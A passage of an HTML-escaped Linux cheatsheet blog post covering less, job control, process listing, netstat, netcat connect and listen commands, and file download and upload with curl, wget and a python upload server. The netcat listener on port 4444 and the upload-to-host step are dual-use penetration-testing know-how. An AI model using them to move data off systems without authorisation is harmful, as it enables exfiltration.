&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;enter&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;less-scrolling&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#less-scrolling&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; less - Scrolling&lt;/h4&gt;
&lt;p&gt;Personally, I prefer &lt;code&gt;less+F&lt;/code&gt; over &lt;code&gt;tail -f&lt;/code&gt;.&lt;br /&gt;
Use &lt;code&gt;^c&lt;/code&gt; to exit the feed.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Continuous feed (e.g. for streams of data)&lt;/span&gt;
F&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;less-working-with-multiple-files&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#less-working-with-multiple-files&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; less - Working with Multiple Files&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;less&lt;/code&gt; also works with multiple files passed in the command line, e.g. &lt;code&gt;less *.txt&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Next file.&lt;/span&gt;
:n
&lt;span class=&quot;token comment&quot;&gt;# Previous file.&lt;/span&gt;
:p&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;More commands in &lt;code&gt;man less&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;processes&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#processes&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Processes&lt;/h2&gt;
&lt;h3 id=&quot;fg-bg-i-ll-be-back&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#fg-bg-i-ll-be-back&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; fg/bg - &amp;quot;I&#39;ll be back.&amp;quot;&lt;/h3&gt;
&lt;p&gt;Shells allow you to move processes between the foreground (which accepts interactive input) and background (to run things which don&#39;t require input).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;^z &lt;span class=&quot;token comment&quot;&gt;# Push process to background (and pause it).&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;bg&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Start background process.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;fg&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Bring most recent background process into foreground.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;fg&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Bring job 2 into foreground.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;jobs&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# View background jobs.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;^c &lt;span class=&quot;token comment&quot;&gt;# Good ol&#39; ctrl-c stops the process in fg.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;kill&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pid&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Kill process with given process ID.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Start a command in the background.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cmd&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Start an HTTP server on port 8080.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;python &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; http.server &lt;span class=&quot;token number&quot;&gt;8080&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;[1] 17999&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The process is started in the background with job number 1, PID 17999.&lt;/p&gt;
&lt;p&gt;To kill the process:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;fg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;^c&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;or...&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;kill&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;17999&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Process ID (PID) and Job Number are two different things.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PIDs apply to &lt;em&gt;all&lt;/em&gt; users in the &lt;em&gt;entire system&lt;/em&gt;, and are assigned by the kernel.&lt;/li&gt;
&lt;li&gt;Job Numbers apply to the &lt;em&gt;current&lt;/em&gt; shell, and are numbered linearly from 1 onwards.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;view-running-procs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#view-running-procs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; View Running Procs&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt; aux&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Combine with &lt;code&gt;grep&lt;/code&gt;/&lt;code&gt;less&lt;/code&gt; for filtered results.&lt;/p&gt;
&lt;h2 id=&quot;networking&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#networking&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Networking&lt;/h2&gt;
&lt;h3 id=&quot;ip-and-ports&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#ip-and-ports&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; IP and Ports&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;IP Addresses and Networks&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ifconfig&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ifconfig&lt;/span&gt; tun0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Get Our Public IP&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; ifconfig.me&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;X.X.X.X&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Open Ports/Sockets&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;netstat&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-anp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-a&lt;/code&gt;: all sockets&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;/code&gt;: numeric addresses&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;/code&gt;: associated processes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Listen/Connect&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Initiate a connection.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;nc&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;192.168&lt;/span&gt;.1.1 &lt;span class=&quot;token number&quot;&gt;8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Listen for a connection.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;nc&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-nlvp&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4444&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;download-files&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#download-files&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Download Files&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Download and save to a local file.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;url&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-O&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;wget&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;url&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Download with a custom filename.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;url&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; filename.txt&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;wget&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;url&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-O&lt;/span&gt; filename.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Download silently and display in `less`.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;url&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;less&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;wget&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;url&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;less&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; some.api.site/api/v1/users/ &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; jq &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;less&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;upload-files&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#upload-files&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Upload Files&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; data-label=&quot;Server&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;python &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; uploadserver&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Server&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;By default, &lt;code&gt;uploadserver&lt;/code&gt; starts a server at port 8000.&lt;/li&gt;
&lt;li&gt;Get our IP from &lt;code&gt;ifconfig&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; data-label=&quot;Client&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;files&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;@file1.txt &lt;span class=&quot;token parameter variable&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;files&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;@file2.txt &lt;span class=&quot;token number&quot;&gt;192.168&lt;/span&gt;.45.179:8000/upload&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Client&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;files&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#files&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Files&lt;/h2&gt;
&lt;h3 id=&quot;check-file-sizes&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#check-file-sizes&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Check File Sizes&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Get available disk space.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;df&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-h&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Get file size of current directory, in human readable format.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;du&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-sh&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Get file size of txt files, in human readable format.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;du&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-sh&lt;/span&gt; *.txt&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;find-operate-on-files&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#find-operate-on-files&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Find/Operate on Files&lt;/h3&gt;
